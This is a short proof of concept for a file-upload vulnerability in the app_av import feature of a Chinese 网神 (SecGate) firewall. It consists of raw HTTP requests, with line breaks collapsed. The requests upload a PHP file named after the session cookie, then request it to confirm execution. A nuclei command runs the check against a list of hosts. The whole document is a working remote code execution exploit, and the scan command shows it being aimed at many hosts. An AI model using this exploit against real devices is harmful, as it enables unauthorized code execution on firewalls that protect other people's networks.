网神 防火墙 app_av 文件上传漏洞 poc

GET / HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15POST /?g=app_av HTTP/1.1Host: Accept: */*Accept-Encoding: gzip, deflateContent-Length: 440Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJpMyThWnAxbcBBQcCookie: __s_sessionid__={{cookie}}User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)------WebKitFormBoundaryJpMyThWnAxbcBBQcContent-Disposition: form-data; name="reqfile";filename="{{cookie}}.php"Content-Type: text/plain<?php echo(md5(233));unlink(__FILE__);?>------WebKitFormBoundaryJpMyThWnAxbcBBQcContent-Disposition: form-data; name="submit_post"app_av_import_save------WebKitFormBoundaryJpMyThWnAxbcBBQcContent-Disposition: form-data; name="certfile_r"file------WebKitFormBoundaryJpMyThWnAxbcBBQc--     GET /attachements/{{cookie}}.php HTTP/1.1Host: Cookie: __s_sessionid__={{cookie}};User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15   

nuclei.exe -t wangshen-secgate-app_av-fileupload.yaml -l subs.txt -stats